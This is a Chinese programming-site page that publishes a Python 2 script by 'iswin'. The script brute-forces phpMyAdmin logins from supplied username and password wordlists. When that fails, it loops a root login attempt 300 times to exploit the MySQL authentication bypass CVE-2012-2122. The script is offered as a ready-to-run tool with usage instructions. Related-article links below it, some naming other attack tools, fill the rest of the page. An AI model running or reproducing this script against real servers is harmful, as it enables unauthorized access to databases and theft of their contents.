Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
python实现的登陆Discuz!论坛通用代码分享
Jul 11 Python
用Python进行基础的函数式编程的教程
Mar 31 Python
PyQt5每天必学之切换按钮
Aug 20 Python
在cmd中运行.py文件: python的操作步骤
May 12 Python
python 匹配url中是否存在IP地址的方法
Jun 04 Python
Python 数值区间处理_对interval 库的快速入门详解
Nov 16 Python
提升Python效率之使用循环机制代替递归函数
Jul 23 Python
Python实现语音识别和语音合成功能
Sep 20 Python
python实现对列表中的元素进行倒序打印
Nov 23 Python
详解pandas.DataFrame.plot() 画图函数
Jun 14 Python
Django正则URL匹配实现流程解析
Nov 13 Python
Python修改DBF文件指定列
Dec 19 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
3种平台下安装php4经验点滴
2006/10/09 PHP
php中常用的预定义变量小结
2012/05/09 PHP
解析PHP可变函数的经典用法
2013/06/20 PHP
php5.2以下版本无json_decode函数的解决方法
2014/05/25 PHP
Codeigniter发送邮件的方法
2015/03/19 PHP
PHP简单实现冒泡排序的方法
2016/12/26 PHP
手机平板等移动端适配跳转URL的js代码
2014/01/25 Javascript
jquery自动将form表单封装成json的具体实现
2014/03/17 Javascript
详解JS函数重载
2014/12/04 Javascript
jQuery EasyUI 菜单与按钮之创建简单的菜单和链接按钮
2015/11/18 Javascript
详细探究ES6之Proxy代理
2016/07/22 Javascript
JS中的hasOwnProperty()和isPrototypeOf()属性实例详解
2016/08/11 Javascript
vue2利用Bus.js如何实现非父子组件通信详解
2017/08/25 Javascript
利用vue和element-ui设置表格内容分页的实例
2018/03/02 Javascript
vue-router3.0版本中 router.push 不能刷新页面的问题
2018/05/10 Javascript
详解Vue.js自定义tipOnce指令用法实例
2018/12/19 Javascript
nodejs异步编程基础之回调函数用法分析
2018/12/26 NodeJs
Vue-input框checkbox强制刷新问题
2019/04/18 Javascript
vue.js中ref及$refs的使用方法解析
2019/10/08 Javascript
Nodejs实现图片上传、压缩预览、定时删除功能
2019/10/25 NodeJs
JavaScript基于面向对象实现的无缝滚动轮播示例
2020/01/17 Javascript
JS表单验证插件之数据与逻辑分离操作实例分析【策略模式】
2020/05/01 Javascript
js实现简单扫雷
2020/11/27 Javascript
[51:20]完美世界DOTA2联赛PWL S2 Magma vs PXG 第一场 11.28
2020/12/01 DOTA
django 模版关闭转义方式
2020/05/14 Python
Python中logging日志的四个等级和使用
2020/11/17 Python
YOINS官网:时尚女装网上购物
2017/03/17 全球购物
澳大利亚在线时尚精品店:Hello Molly
2018/02/26 全球购物
Quiksilver荷兰官方网站:冲浪和滑雪板
2019/11/16 全球购物
日本AOKI官方商城:AOKI西装
2020/06/11 全球购物
几道Java和数据库的面试题
2013/05/30 面试题
党员学习十八大感想
2014/01/17 职场文书
中班下学期幼儿评语
2014/12/30 职场文书
酒店财务总监岗位职责
2015/04/03 职场文书
九年级语文教学反思
2016/03/03 职场文书
spring cloud 配置中心客户端启动遇到的问题
2021/09/25 Java/Android